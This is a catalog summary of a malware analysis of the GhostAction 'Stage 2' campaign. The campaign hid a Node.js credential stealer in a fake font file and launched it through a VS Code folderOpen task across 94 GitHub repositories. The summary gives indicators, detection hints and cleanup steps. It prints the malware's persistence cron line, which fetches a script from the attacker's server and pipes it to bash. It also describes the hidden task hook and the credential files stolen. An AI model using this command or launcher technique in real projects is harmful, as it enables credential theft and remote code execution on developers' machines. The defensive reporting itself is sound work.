Skip to content

Back to the catalog

GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File
opensourcemalware.comwriteup

GhostAction Copycats PolinRider by Hiding a Stealer in a Fake Font File

Analysis of a new GhostAction Stage 2 found in 94 compromised GitHub repos: a hidden .vscode/tasks.json (runOn folderOpen) executes a plain-JavaScript infostealer disguised as public/fonts/fa-solid-400.woff2. The stealer grabs cloud, registry, SSH, Claude/Gemini credentials, POSTs them to a hardcoded IP on port 8080, and installs a 5-minute cron job (#ghc2) that pipes the server's script to bash. It copies PolinRider's launcher but shares no IOCs with it, and the post gives a timeline, one repo hit by both campaigns, IOCs, and cleanup steps (revoke tokens, remove cron, set task.allowAutomaticTasks off).

TL;DR GhostAction adds a Stage 2 copying PolinRider's VS Code folderOpen + fake .woff2 trick: a plain-JS stealer plus a cron-based C2 across 94 repos, with IOCs and remediation.
Document

What it is

A GhostAction "Stage 2" found by OpenSourceMalware in 94 GitHub repos (66 owners; 79 cloned and analyzed). It copies PolinRider's fake-font launcher but shares no IOCs with it, so the authors call it a copycat. The key point is persistence: it survives removal of the malicious workflow, because the stealer installs a cron job on developer machines.

How it works

  • .vscode/tasks.json (byte-identical across the 79) defines a hidden task labelled eslint-check with runOn: folderOpen. It runs node ./public/fonts/fa-solid-400.woff2.
  • The "font" is 38 lines of plain Node.js. It reads ~/.aws/credentials, .pypirc, .npmrc, .git-credentials, .netrc, .claude/.credentials.json, .gemini/oauth_creds.json and .kube/config (first 3,000 bytes each). It reads id_rsa and id_ed25519 in full, greps the home directory for AWS, Anthropic, GitHub, npm and PyPI token patterns, and collects some env vars. One plain-HTTP POST goes to 193[.]32[.]204[.]199:8080/?c=<tag>.
  • It then installs this cron entry, which gives the operator remote command execution every 5 minutes, with a per-hostname path:
*/5 * * * * curl -s -m 10 http://<server>:8080/c2/$(hostname) | bash   #ghc2
  • A second CI workflow is added as a fallback (7 filenames, plus cache-cleanup.yml in one repo). It scans the wiki with GITHUB_TOKEN and falls back to a secret gist.
  • Stage 3 content is unknown; the authors had not retrieved what the server returns.

Preconditions / Affected

  • The victim must open the repo in VS Code in a trusted workspace with automatic tasks allowed, either by clicking Allow at the one-time prompt or by setting task.allowAutomaticTasks to on. Running the file with node has the same effect.
  • The cron job installs on macOS and Linux only. On Windows the theft runs but there is no crontab.
  • Stage 1 is not required: psm-2/ai-artifacts got Stage 2 alone.
  • Most repos were dormant (65 of 79 had no commit for more than a year), so old forgotten repos are at risk.
  • One repo, daxitzadafiya/bagisto-dhs, also carries a separate PolinRider infection in its Tailwind configs, with no shared indicator.

What to do

Repo owners

  1. Revoke first, from a clean device: GitHub sessions, PATs, OAuth grants (including client ID Ov23ctrqCqZ79UaYKwyq), GitHub Apps, SSH keys and deploy keys. Then change the password and enable phishing-resistant MFA. Two owners who only deleted the workflow were re-hit six days later.
  2. Hunt across every repo the account can write to, including forks: security-audit.yml or other workflows that send data to the IP, a .vscode/tasks.json with a hidden eslint-check task, text files named like fonts under public/fonts, and config files ending in a block after a long run of whitespace.
  3. Remove the files on every branch, and rotate every Actions secret and any credential ever committed to any branch (Stage 1 reads full git history).
  4. Require approval for workflow runs, require reviews on .github/workflows, and block force-pushes.

Anyone who opened a repo

  • Confirm task.allowAutomaticTasks is off (the default).
  • Run crontab -l and remove any line mentioning the IP or ending in #ghc2. Deleting the font file does not remove the cron job.
  • If the cron entry is present, consider rebuilding the machine and checking for other persistence. Rotate SSH, cloud, npm, PyPI, GitHub, kubeconfig and Anthropic/OpenAI/Gemini credentials from a clean device after containment.

Detection

  • Block or search for 193.32.204.199, the one indicator that never changed.
  • Hashes: tasks.json is a043f03e89ef55779f4f630138cf5efe1dd37632e176c7a0d9bbfa989ba84eeb. The font has three variants by tag (reinject, auto_20261015, auto_20261014); the page lists their SHA-256s.
  • Commit messages to search: "Add font assets", "Add editor task", "Add security audit workflow".
  • Don't rely on old Stage 1 markers (AKIA_CTX_START, ports 80/3000): they changed after public disclosure.

Caveats

  • The stealer has bugs. Env-var patterns _API_KEY and _TOKEN are ^-anchored, so they rarely match. The 10-second grep timeout discards its results. Direct file and SSH key reads are unaffected. The authors did not test either behavior.
  • How the attacker got push access is not established. A phishing kit exists but is not tied to these repos.
  • The meaning of the batch tags and what the server does with them are unresolved.
  • The copycat label rests on the absence of shared IOCs, not on proven attribution.

Organisations named here

  • 193.32.204.199
  • EtherHiding
  • #ghc2
  • runOn folderOpen
  • tasks.json
  • Thijs Xhaflaire

Technologies named here

  • GitHub repositories and GitHub Actions workflows
  • OpenSourceMalware
  • StepSecurity
  • Visual Studio Code
  • Socket
  • macOS and Linux developer machines
  • Self-hosted GitHub runners
  • GitGuardian
  • Targeted credentials
  • The Hacker News
  • crontab -l
  • OpenSourceMalware PolinRider guide
  • VS Code
  • GitHub Actions
  • GitHub
  • Node.js
  • Claude Code
  • TRON
  • fa-solid-400.woff2

Techniques named here

  • Masquerading
  • Indicator evasion

Threat actors named here

  • GhostAction Stage 1
  • GhostAction Stage 2 infostealer
  • GhostAction
  • PolinRider
  • DPRK